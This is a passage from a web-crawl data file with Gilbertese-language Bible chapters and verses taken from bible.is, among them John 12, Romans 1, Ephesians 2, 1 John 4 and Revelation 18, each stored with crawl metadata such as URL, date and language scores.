1.0000098943710327}","num_words":1682,"character_repetition_ratio":0.045,"word_repetition_ratio":0.004,"special_characters_ratio":0.265,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MAREKO 13:2828\"Kam na karekea reireiami man te kai ae te biku. N te tai are e ubuubu iai naba m'angana ao a kaoti baana, ao kam a ataia iai b'a e a kaan taini bongin te kabuebue. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/13\/28","date":"2016-05-25T01:34:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049274059.91\/warc\/CC-MAIN-20160524002114-00198-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":0.9998412132,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9998412132263184}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Onobong i m'ain te Toa are te Riao, ao E roko Iesu i Betania, ike e mena iai Rataro are kamaiuaki iroun Iesu man te mate. 2Ma ngaia are, a karaoa te am'arake i bukin Iesu ikekei; e touati Mareta, ao Rataro e raonia ake a tekateka n rarikiriki ma Iesu. 3Ao Nei Maria e anaa ngkanne teuana te rawawata ni kabira ae boiarara, ae te naro ni koaua ae bati boona, ao e kabiri waen Iesu iai, ao e kaoi n iran atuna; ao e niraki nanon te auti ni boin te kabira. 4E taku Iuta Itekariota, are temanna i buakoia ana reirei, are nang kam'anea Iesu, 5\"E aera ngke e aki kaboaki nako te kabira aei n tenibubua te tenari, ao a anganaki akana aki kaub'ai?\" 6E atonga aei, tiaki i bukina b'a e tabe i bukiia aika a aki kaub'ai; ma e atonga aei b'a te tia ira ngaia, ao ngkai e mena i rouna nen te m'ane, ao e taneiai n ananaa are e taku mai iai i bon i bukina. 7Ma ngaia are, E taku Iesu, \"Katuka neienne i bon i rouna! E na kawakina ae iai i rouna i bukin au bongi n taunaki. 8A boni memena i rarikimi aomata aika aki kaub'ai, ma Ngai e na bon toki memenau i rarikimi.\" 9Ngke a ataia aomata aika bati aika I-Iutaia b'a E mena Iesu i Betania, ao a nako iai, tiaki ti i bukin Iesu, ma a kan nora naba Rataro, are e a tia ni kamaiuaki iroun Iesu mai buakoia maate. 10Ao a karekea aia iango ibonga ake mataniwi b'a a na kamatea naba Rataro, 11i bukina b'a a m'aiti I-Iutaia aika rawa i rouia, ao a onimakina Iesu i mwin te baere e a tia n riki nakon Rataro. 12N te bong are i mwina ao a ongo aomata aika rangi ni bati, ake a roko n te Toa are te Riao, b'a ae i aoni kawaina n roko Iesu i Ierutarem. 13A anai baanikaai aika aroni baan te ni, ao a nako ni butim'aia, ao a takarua ni kaangai, \"E na neboaki te Atua! E na kakab'aiaki Teuae nakomai n aran te Atua. E na kakab'aiaki aia Uea Iteraera!\" 14Ao ngke E reke iroun Iesu te aati te teei, ao E toka i aona; n ai aron are koreaki n te B'aib'ara ni kaangai, 15\"Tai maku, ngkami kaain Ierutarem; noria, E a roko ami Uea, ae toka i aon te bun n aati.\" 16A aki atai nanoni baikai ana reirei ngkekei; ma ngke E neboaki Iesu, ao a uringi baikai b'a taekana aika koreaki n te B'aib'ara, ao b'a a karaoaki naba nakoina. 17Ma ngaia are b'a aomata ake a bati ake a mena i rarikin Iesu n te tai are E wetea iai Rataro ni kaotinakoa man te ne ni mate, ao ni kamaiua mai buakoia maate, a taekina te baere e a tia n riki nakon Rataro. 18Aei bukin are E a butim'aeaki iai Iesu irouia aomata aika bati, b'a a ongo ae E a tia ni karaoa te m'akuri ae kamimii arei. 19A i taetae ngkanne B'aritaio i rouia, ni kaangai, \"Kam noria b'a akea te bae kam kona ni karaoia; noria, e a bane n nako te aba n iria.\" 20Iai I-Erene tabem'aang i buakoia aomata ake a nako Ierutarem b'a a na taromauri n tain te Toa are te Riao. 21A nako ngkanne nakoni Biribo, are kaaini Betetaita are i Kariraia, ao a tuangnga ni kaangai, \"Teuaei, ti kan nora Iesu.\" 22E nako Biribo n tuanga Anterea, ao a uaia n nako n tuanga Iesu. 23Ao E kaekaia Iesu ao E taku, \"E a roko te aoa are E na neboaki iai Natin te Aomata. 24Bon te koaua ni koaua ae I a tuangngkami b'a ngkana e aki b'aka uaan te uita i buakon te tano ni mate iai, ao e na tiku n ti ngaia; ma ngkana e b'aka ao e mate iai, ao ane na kariki uaana aika bati. 25Ane tangira maiuna ao e na kabua; ao ane riba maiuna n te aonnaba aei, ao e na kawakinna nakon te maiu are aki toki. 26Ane toro irou, ao e riai n irirai; ao ike I mena iai, ao e na mena naba iai au toro; ane toro irou, ao e na karineaki iroun Tamau. 27\"E rawawata nanou ngkai; ao tera ae N na taekinna? Tao N na kaangai, Tamau, kamaiuai man te aoa aei? Ma aei bukin rokou, b'a N na rin i nanon te aoa aei. 28Tamau, neboa aram.\" E roko ngkanne te b'ana mai karawa, ae kaangai, \"I a tia n neboia, ao N na manga neboia.\" 29Ma ngaia are, aomata ake a teitei ikekei a ongo, ao a taku b'a e rebwe te baa; ma iai tabeman i buakoia ake a kaangai, \"E taetae te anera nakoina.\" 30E kaekaia Iesu ao E taku, \"E aki roko te b'ana aei i buku, ma e roko i bukimi. 31Ana tai ngkai te aonnaba aei ni motikaki taekana; te tai naba aei are e na b'aka man ueana iai te tia taua taekan te aonnaba aei; 32ao Ngai, ngkana I kateaki rake mai aon te aba, ao N na katiki nanoia aomata ni kabaneia b'a a na nako iu.\" 33E atonga aei b'a E na kaota aron te mate are na riki nakoina. 34Ma ngaia are, a kaeka aomata ni kaangai, \"Ti ongo n te Tua b'a E na maiu n aki totoki te Kristo. Ko na kanga ngkanne n taku b'a E na kateaki rake Natin te Aomata? Antai Natin te Aomata anne?\" 35E taku ngkanne Iesu nakoia, \"E na aki rangi ni maan ana tai te oota ni mena i buakomi. Ma ngaia are, kam na nakonako ngkai iai te oota, b'a e kaawa n taoningkami te roo; ane nakonako n te roo, ao e aki ata ike e nako iai. 36Ngkai iai te oota iroumi, ao kam na onimakinna, b'a kam aonga n riki b'a natin te oota.\" Ngke E a tia n atongi baikai Iesu, ao E nako ni karaba mai rouia. 37E boni ngae ngke E kabatiai ni karaoi ana m'akuri aika kamimii i mataia, ma a bon aki onimakinna, 38b'a e na kakoroaki bukin ana taeka Itaia are te burabeti are kaangai: \"Te Uea, antai ae kakoaua ara rongorongo? Ao antai ae kaotaki m'akan te Atua nakoina?\" 39Aio bukin ae a aki kona n onimaki iai, b'a e a manga taku Itaia, 40\"E kamataki mataia te Atua, ao E kamatoai nanoia; b'a a kaawa n noraba ni mataia ao n atatai n nanoia, ma n rairaki nako iu b'a N na kamaiuia.\" 41E atongi baikai Itaia i bukina b'a e a kaman nora mimitongin Iesu, ao e taekinna. 42Ma e ngae n anne ao a bon onimakinna naba taan tautaeka aika bati; ma a aki kani kaotia, i bukina b'a a makuia B'aritaio, b'a a kaawa n tukaki mani m'aneabaia I-Iutaia: 43b'a a tangira riki kamoamoaaia irouia aomata nakoni kamoamoaaia iroun te Atua. 44Ao E kanenea b'anaana Iesu ao E kaangai, \"Ane onimakinai, ao e aki onimakinai, ma e onimakina Teuare kanakomaiai. 45Ao ane norai, ao e nora Teuare kanakomaiai. 46I roko b'a te oota i aonnaba, b'a e na aki mena n te roo ane onimakinai. 47Ngkana e ongo au taeka te aomata, ao e aki iri nanoia, ao I aki motika taekana: b'a I aki roko b'a N na motika taekan aonnaba, ma I roko b'a N na kamaiua. 48Ane rawa nako iu, ao e aki kaaki i nanona au taeka, ao bon iai ae na motika taekana: taeka ake I atong a na riki b'a b'aini motikan taekana n te kabanea ni bong. 49B'a I aki taetae man oin au iango; ma E tuangai te Tama are kanakomaiai b'a tera ae N na taekinna, ao ae N na atongnga. 50Ao I ataia b'a e reke te maiu are aki toki man ana tua. Ma ngaia aei, b'a te bae I atongnga, ao I atongnga n aron are E tuangai Tamau.\"\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/John\/12","date":"2016-05-31T14:41:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464051342447.93\/warc\/CC-MAIN-20160524005542-00060-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1336,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.264,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4are kanoana te baonikarea ae te koora i bukini kabuokani karea aika boiarara, ma atin te berita are e kanim'aki te koora iai ni kabuta, are e mena i nanona te b'aati ae te koora are kanoana te manna, ma te kai are okon Aaron are a bwebwee baa ni kai maiai, ma baban te boraraoi ake atibu.\nEBERA 9:4\nFREE!\nOne App.\n1189 Languages.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/4","date":"2016-05-31T02:16:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464051165777.47\/warc\/CC-MAIN-20160524005245-00107-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000059604644775}","num_words":63,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngai ae B'auro, ae ana toro Iesu Kristo, ae weteaki b'a te tia tuatua, ao e rineaki i bukin tataekinan ana euangkerio te Atua; 2E a kaman taekina te euangkerio aei te Atua i nanon te B'aib'ara irouia ana burabeti: 3bon taekan Natina, are Iesu Kristo, are bungiaki n te aro n rab'ata b'a kanoan ana kariki Tawita; 4ma ni maiuna n tamnei are reitaki ma te Atua, ao E kaotia te Atua n te aro ae m'aaka b'a bon Natina ngke E a manga kamaiua mai buakoia maate. 5Boni Ngaia are ti anganaki mai Rouna te kona n riki b'a taan tuatua i bukin arana, b'a a aonga n onimaki ma n ongeaba botannaomata ni kabaneia. 6Kam warekaki naba i buakoia te botannaomata anne, ngkami aika kam weteaki b'a ana b'ai Iesu Kristo: 7nakoia ake a mena i Rom ni kabaneia, ake a tangiraki iroun te Atua, ake a weteaki b'a ana aomata: ami b'ai te akoaki ma te rau mairoun te Atua are Tamara ma te UEA are Iesu Kristo. 8I rimoa moa ni kaitaua Atuau iroun Iesu Kristo i bukimi ni kabaneingkami, i bukin ami onimaki ae taekinaki i aonnaba ni bane. 9B'a te Atua bon te tia kakoauai au taeka, ao boni Ngaia ae I toro i rouna n tamneiu i bukin tataekinan euangkerion Natina, b'a I aki toki n uringngkami 10ni katoa te tai are I tataro iai, ao I butia te Atua b'a ngkana nanona, ao e bia reke te tai are N na m'ananga iai ni kawaringkami ngkai. 11B'a I rangi ni kan noringkami, b'a N na anganingkami b'aai n tituaraoi tabeua ake mairoun te Tamnei, b'a kam aonga ni kateimatoaki iai. 12Ae I nanonna b'a ti na uaia ni buokaki, ngkami n au onimaki ao ngai n ami onimaki. 13Ma I tangiringkami, tariu, b'a kam na ataia b'a e m'aiti au tai ae I a tia ni baireia b'a N na nakoimi iai, ma iai te b'ai ae aki toki n tototokoa m'anangau ni karokoa naba te tai aei. I kan rairiia naba tem'angina i buakomi nakon te UEA, n ai aroia ake a tia n rairaki i rou i buakoia botannaomata ake tiaki I-Iutaia. 14Iai tabeu ae I riai ni karaoia nakoia I-Erene ma aomata aika tiaki I-Erene, ao nakoia aika reireiaki ma aika aki reireiaki; 15ao bon aei bukin ae e ingainga nanou iai ni kan taekina te euangkerio nakoimi naba, ngkami ake kam mena i Rom. 16B'a I aki mamaa n te euangkerio: b'a boni m'aakan te Atua ni kamaiuia aomata nako aika onimaki, aika I-Iutaia moa ao I-Erene naba. 17B'a e kaotaki n te euangkerio aron te Atua ni kaeti aroia aomata nakoina n te onimaki, ni moa man rekena i rouia ni karokoa tokina: n ai aron are koreaki ni kaangai: \"E na maiu ane e kaetaki arona n reitaki ma te Atua n te onimaki.\" 18B'a e kaotaki unin te Atua mai karawa nakoia aomata ake a tia ni kakaraoa te bure, ma te aro n iowawa; ao i bukin aroia aika bubuaka n tukiia aomata man atan te koaua. 19B'a e bon teretere nakoia te baere e kona n ataaki iai te Atua: b'a E kaotia nakoia te Atua. 20B'a a kaman noraki raoi aron te Atua aika aki nonoraki, are m'aakana ae akea moana ma tokina, ma arona n Atua, ma ngke a moa ni karikaki aonnaba; ao a ataaki ni baike E karaoi. Ma ngaia are, bon akea aonaia. 21A ata te Atua, ma a aki anganna neboana ngkai te Atua Ngaia, ao a aki kaitaua; ma a riki aia iango b'a baika akea bonganaia, ao a karooaki nanoia aika aki wanawana. 22A taku b'a a rabakau, ma a nanobaba; 23ao a onika te Atua ae aki mamate ae mimitong b'a te bouananti ae katotongan te aomata ae mamate, ke maan aika kibakiba, ke maan aika kakaeai waeia, ke maan aika kawakawa. 24Ma ngaia are, E katikuia te Atua n aroia n tangira te kammaira, ao a karaoi m'akuri ni kamamaa nakon rab'ataia, temanna nakon temanna. 25A bita te koaua mairoun te Atua nakon te kewe; ao a taromauria te bae karikaki ma n toro i rouna, n onea mwin te Tia Kariki b'aai, are riai ni karaoiroaki n aki toki. Amen. 26Ma ngaia are, E katikuia te Atua nakon aroia ni kaitataan aika bubuaka: b'a aia aine a onea aroia n iraorao ma mm'aane are riai ao a iraorao ma raoia n aine; 27ao ai aroia naba mm'aane: a kitan aroia n iraorao ma aine are riai, ao a rangi n taaniia i bon i rouia: mm'aane ma mm'aane a karaoa te kammaira ni kamamaa; ao mwina, boni karekeani kaiia i bukin te m'akuri ae buakaka are a tia ni karaoia. 28Ngke a rawa ni kaaki i nanoia ataakin te Atua, ao E katikuia n aroia aika ti te iangoi baika kammaira, b'a a aonga ni karaoi m'akuri aika aki riai. 29A kaonaki nanoia n te buakaka ni kabanea, ma te kani buakaka, ma te kani b'aib'ai ae korakora, ma te babakanikawai. A on n te bakantang, ma te nano ni kamamate ma ni kauntaeka, ma te uarao, ma te iowawa. Bon taani winanti, 30taani bukibuki, taan ribaa te Atua, taan taetaebuaka, taani kainikatonga, taani kamoamoaia, taani kariki iango aika bubuaka, taan aki iri nanoia aia karo, 31te koraki aika bure aroia, taan uru taeka ni boraraoi, taani babakaine, taan aki nanoanga. 32A bon ata ana taeka te Atua ae kaangai, A riai mateia akana karaoi baikai. A aki ti kakaraoi baikai, ma a boni kaoti naba nanoia aika kukurei ngkana a karaoaki baikai irouia tem'angina.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/1","date":"2016-05-26T05:05:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049275645.9\/warc\/CC-MAIN-20160524002115-00026-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":935,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.406,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao ngkami kam mate i bukin riaoakin te tua iroumi ao i bukin ami bure, 2ake kam nakonako iai ngkoa ngke kam toua kawain aon te aba ae buakaka aei, ao ngke kam ira nanon te uea are tautaeka i aoia tamnei aika buakaka ake i aani karawa, ake tamnei ake a m'am'akuri ngkai i nanoia aomata aika aki-ongeaba; 3ake boni ngaira naba ngkoa i buakoia ngke ti bane ni kaoti arora ni maiura b'a ti iri nanoni kaib'ab'arun rab'atara ma nanora; bon aomata ngaira aika e mena i aora unin te Atua, ao ti te bo arora ma aomata ni kabaneia. 4Ma e rangi ni korakora nanon te Atua n nanoanga i bukin ana tangira ae bati are E tangirira iai; 5b'a ngke ti mate i bukin arora n ririaoakin te tua, ao E kamaiura Kristo, b'a kam kamaiuaki n te akoi, 6ao ngkai ti katiteuanaki ma Kristo Iesu, ao E a manga kamaiura ma Ngaia man te mate ao E katekatekaira ma Ngaia i karawa, 7b'a E aonga ni kaotia nakoia rooro ma rooro aika na roko aron ana akoi ae akea n ai arona ni kaub'aina, n ana ataataiaomata nako ira, irouni Kristo Iesu. 8B'a kam kamaiuaki n te akoi i bukin te onimaki; ao tiaki mai roumi ae reke iai aei, ma bon ana b'ai n tituaraoi te Atua; 9kam aki kamaiuaki n ami m'akuri, b'a e kaawa ni kamoamoaa temanna. 10B'a kanoan ana m'akuri ngaira, aika ti karikaki i nanoni Kristo Iesu i bukini m'akuri aika raraoi, ake E a kamani katauraoi b'a ti na karaoi. 11Ma ngaia ae kam na ururingnga, b'a tiaki I-Iutaia ngkami ngkoa n rikimi, aika kam atongaki b'a te Aki-korotabonim'aneaki i rouia ake a atongaki b'a te korotabonim'aneaki n aroia ngke a korotabonim'aneaki ni baiia aomata; 12ao kam tuai n reitaki ma Kristo ngkekei, ngke kam ianena nakoia te botannaomata ae Iteraera, ao akea nnemi n taiani boraraoi ake kanoan te taeka n akoi, akea ami kaantaninga ao kam aki reitaki ma te Atua ni maiumi i aon te aba aei. 13Ma ngkai kam a katiteuanaki ma Kristo Iesu, ngkami ake kam raroa nako ngkoa ma te Atua, kam a riki ni kaan n raraani Kristo. 14B'a Kristo boni Ngaia ara raoi, b'a E karikiia I-Iutaia ma aomata aika tiaki I-Iutaia b'a te botannaomata ae ti teuana; ao ni matena i aon te kaibangaki E urua te riribai are tei b'a kanga te roki i marenaia. 15E kamaunaa te Tua are kanoana taeka i bukini baika riai ni karaoaki ao n aki karaoaki irouia aomata, b'a e aonga ni karikiia botannaomata aika uoua b'a kanga te aomata ae ti temanna ae boou n arona ni kaatiteuanaki ma Ngaia; ao n te aro aei e a reke iai te raoi. 16E raoiakiniia botannaomata aika uoua nakon te Atua ni matena n te kaibangaki, ao a riki b'a te rab'ata ae ti teuana, ao E urua aroia n riribai. 17Ma ngaia are, E roko Kristo ao E tataekina te raoi nakoimi aika kam raroa nako ngkoa ma te Atua, ao nakoia naba aika kaani ma Ngaia. 18I bukin te baere E karaoia Kristo, ao ngaira aika I-Iutaia ma aika tiaki I-Iutaia ti a kona n roko i matan te Atua iroun te Tamnei ae ti temanna. 19Ma ngaia ae tiaki aomata aika ianena ngkami ngkai, ao tiaki naba aomata aika kam maeka n iruwa; ma aomata ngkami aika kam a riki b'a kanga kaain te aba ni koaua, n raoniia ake a itiaki, ao kam a riki naba b'a kaain ana utu te Atua. 20Kam kateaki i aon taiani boua ake taan tuatua ma burabeti; ao Kristo Iesu boni Ngaia te atibu are bouan te maninganinga are moan te kakannato; 21b'a Ngaia ae e tei ni b'anin rab'atan te auti i rouna, ao E reireitia nako ni karokoa ae e riki b'a te Tembora ae tabu i bukin te UEA. 22Ni katiteuanakimi ma Ngaia ao kam a kateaki naba ma raomi nako n onimaki b'a ana auti te Atua ae na mamaeka iai iroun Tamneina\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/2","date":"2016-05-28T16:16:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049278042.30\/warc\/CC-MAIN-20160524002118-00230-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":674,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.395,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngkami aika kam tangiraki, kam na tai iri nanoia tamnei ni kabaneia, ma kam na neneri aroia ni kakoauai b'a tao mairoun te Atua ke tiaki: b'a a bati burabeti ni kewe aika a tia ni waki n aia m'akuri i aonnaba, ao ae a boni waki naba ngkai. 2Kam kona n ata te aomata b'a iai i rouna Tamnein te Atua n te aro aei: tamnei n tatabemaniia nako aika a kaotiia n aia onimaki b'a E roko Iesu Kristo b'a te aomata Ngaia, ao boni mairoun te Atua; 3ao tamnei n tatabemaniia nako aika a aki kaotiia b'a a onimakina Iesu, ao tiaki mairoun te Atua. Te aeka n tamnei aei bon tamnein ana kairiribai Kristo, are kam a tia n ongo taekana b'a e nangi roko; ao bon ae i aon te aba ngkai. 4Ataei aika uarereke, boni mairoun te Atua ngkami, ao kam a tia ni katae aia kai burabeti ni kewe: b'a E m'aka riki Teuare mena i nanomi nakon teuare mena i nanoia kaain aon te aba. 5Boni man te aonnaba ae bubure te koraki arei; ma ngaia ae a taekini b'ain te aonnaba ae bubure, ao a ongo kaaina i rouia. 6Mairoun te Atua ngaira: ane ata te Atua ao e ongo i roura; ane tiaki mairoun te Atua, ao e aki ongo i roura. Ti kona n ata te kaokoro i marenan tamnein te koaua ao tamnein te m'am'ana te aba. 7Ngkami aika kam tangiraki, ti na i tangitangiri: b'a mairoun te Atua te tangira; ao ane iai te tangira i rouna, ao e bungiaki mairoun te Atua, ao e ata te Atua. 8Ane akea te tangira i rouna, ao e aki ata te Atua, b'a te Atua bon te tangira. 9E kaotaki tangirara iroun te Atua n aei: b'a E kanakomaia Natina are te rikitemanna nako aon te aba te Atua b'a ti aonga ni maiu i Rouna. 10Aio te tangira, tiaki ngke ti tangira te Atua; ma E tangirira, ao E kanakomaia Natina b'a te kareanraoi i bukin ara bure. 11Ngkami aika kam tangiraki, ngkae E tangirira te Atua n te aro aei, ao e riai naba b'a ti na i tangitangiri. 12Akea te aomata ae a tia n nora te Atua; ngkana ti i tangitangiri, ao E nim ma ngaira te Atua, ao e kakoroaki raoi tangirana i nanora. 13Ti ataia b'a ti nim ma Ngaia ao Ngaia E nim ma ngaira, n aei, b'a kioina ngkae E a tia n anganira Tamneina. 14Ti a tia n noria, ao ti tataekinna naba b'a E a tia te Tama ni kanakomaia te Nati b'a te Tia Kamaiuia kaain aonnaba. 15Ane kaotia n ana taeka b'a e onimakina Iesu b'a bon Natin te Atua, ao E nim te Atua ma ngaia, ao ngaia e nim ma te Atua. 16Ao ti ata te tangira are E tangirira iai te Atua, ao ti kakoauaa. Te Atua bon te tangira; ao ane b'ab'aina te tangira, ao e nim ma te Atua, ao te Atua E nim ma ngaia. 17N te aro aei ao e kakororaoaki raoi iai te tangira i roura, b'a ti aonga n aki maaku n te bongi ni motikitaeka: b'a kioina ngkai ti te bo aroni Kristo ma arora i aon te aba aei. 18Akea te maaku i nanon te tangira; ma te tangira ae kororaoi e kaki te maaku. B'a iai rekereken te maaku ma te motikitaeka ni karawawata; ao ane mamaku ao e tuai ni kakoroaki raoi n te tangira. 19Ti b'aina te tangira, i bukina b'a E tangirira moa. 20Ngkana e kangai temanna, I tangira te Atua, ao ngkana e riba tarina, ao bon te tia kewe ngaia; b'a ane aki tangira tarina ae e a tia n noria, ao e aki kona n tangira te Atua ae e tuai noria. 21Ao aei te tua ae ti anganaki mai Rouna: b'a ane tangira te Atua, ao e na tangira naba tarina.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/1John\/4","date":"2016-05-28T08:05:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049277475.33\/warc\/CC-MAIN-20160524002117-00210-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":654,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.428,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"18Kam na tai kariaia b'a e na baireaki taekami b'a kam aki tau iroun temanna are taku b'a e kakannato riki, i bukina b'a e a tia n nori baika kanga taiani mii, ao are e imanonoa b'ainakin te baka n nanorinano ma taromauriaia anera. Akea manenani kainikatongana i bukina b'a e b'aina te nano n aon te aba,\nKOROTE 2:18\nFREE!\nOne App.\n1189 Languages.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Col\/2\/18","date":"2016-05-30T03:14:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049288709.26\/warc\/CC-MAIN-20160524002128-00084-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000044107437134}","num_words":64,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7Ti tataro nakon te Atua b'a kam na aki karaoa te b'ai teuana ae buakaka; ti aki tataro b'a ti aonga n noraki b'a a nako raoi arora ngke ti kataaki, ma ti butiia b'a kam aonga ni karaoa ae raoiroi, e boni ngae ngke ti taraa n aki kakoauaki ni kataakira b'a bon taan tuatua ni koaua ngaira.\n2 KORINTO 13:7\nFREE!\nOne App.\n1189 Languages.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/13\/7","date":"2016-05-25T09:13:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049274324.89\/warc\/CC-MAIN-20160524002114-00057-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":64,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.266,"stopwords_ratio":0.344,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwini baikai ao I nora te anera temanna b'a e ruo mai karawa. E korakora m'aakana, ao e oota aon te aba ni mimitongina. 2Ao e taetae n te b'ana ae korakora, ao e kaangai, \"E a b'aka B'aburon are kakannato! e a b'aka ao e riki b'a neia ni maeka taimonio. Ao neia ni kabureaki tamnei aika kam'ara ni kabaneia, Ao neia ni kainaki maan aika ribaki ni kabaneia. 3B'a a bane botannaomata ni moi n ana wain, ae te wain ni wene ni bure; ao a wene ni bure ma ngaia uea i aonnaba ni korakoran nanona ni kaib'ab'aru. 4Ao I ongo te b'ana teuana mai karawa b'a e kaangai, \"Au aomata, kam na oti nako mai rouna! Kam na aki buokanib'ai ma ngaia n ana bure; ao kam na aki buokanib'ai naba ma ngaia ni katuaeana! 5B'a a rota karawa ana bure, ao te Atua E aki m'aninga taekan ana bure. 6Are e karaoia nakoimi, ao kam na karaoia naba nakoina; ao kauoua te tai m'aitini booni mwin te b'ai are e karaoia, ao kaona ana m'angko n te moi, ni kauoua te tai korakoran te moi are e a tia ni karaoi i bukimi. 7Kam na kabatia marakina ma nanokawakina n ai aroni m'aitini kainikatongana ma arona ni maiu ni kaub'ai. B'a e kaangai i nanona B'aburon: 'Bon te uea ae te aine ngai, ae I tekateka!; Ao tiaki te aine ae e mate buna ngai, ma ngaia ae N na bon aki kona n nanokawaki!' 8Ma ngaia ae a na roko baika kamamate i rouna n te bong ae ti te bongina, ae te aoraki ae kamamate, ma te nanokawaki ae bati, ma te rongo; ao e na kabuokaki ni kabaneaki n te ai; b'a E m'aaka te Uea ae te Atua ae motika taekana. 9Ao uean aonnaba ake a wene ni bure ma ngaia ma ni buokanib'ai ma ngaia ni maiuna ni kaub'ai, a na tang ma n tanginiwenei i bukina, ngkana a nora bubuni buena. 10A na tei mai kiraroa, b'a a maku ni marakina; ao a na kaangai, \"Ai kaawa ra, ai kaawa ra, te kaawa are kakannato are B'aburon! are te kaawa are korakora! B'a e roko motikan taekam n te aoa ae ti teuana.\" 11Ao a tang man tanginiwenei taani bitineti i bukina, b'a ai akea temanna ae na manga kabooi aia kaako mai rouia, 12kaako ake koora, ma tirewa, ma atibu aika kakawaki, ma moomi, ma kunnikai aika karaoaki man te kunnikai ae tamaroa ae te mainaina ae te rinen, ao man te kunnikai ae ura-roo, ma ae tirika, ma ae uraura; ao kaako naba aika kaai aika boiarara ni kabane, ma b'aai ni kabane aika karaoaki mani koroia ereb'anti, ao mani kaai nako aika rangi ni kakawaki, ao b'aai aika karaoaki mani buraati ma biiti ma atibu aika mabora; 13ma te tineman, ma te amomum, ma baika boiarara, ma muura, ma riibano, ma te wain, ma b'aan te oriwa, ma te buraawa ae karaoaki raoi man uita, ma uita aika tuai n riki ni buraawa, ma kaao, ma tiibu, ma aoti, ma kaa aika katikitikaki irouia aoti, ma tooro, ma taenikai. 14A taetae taani bitineti ao a kaangai, \"A a nako mai roum baika raraoi aika ko mamateakin ni maium, ao a bane ni bua mai roum kaub'aim ma tamaroam ae katika te mata, ao a bon aki manga reke i roum.\" 15Taani bitineti, ake a reke kaub'aia mai rouna, a na tei mai kiraroa b'a a maku ni marakina, ao a na tang ma n tanginiwenei; 16ao a 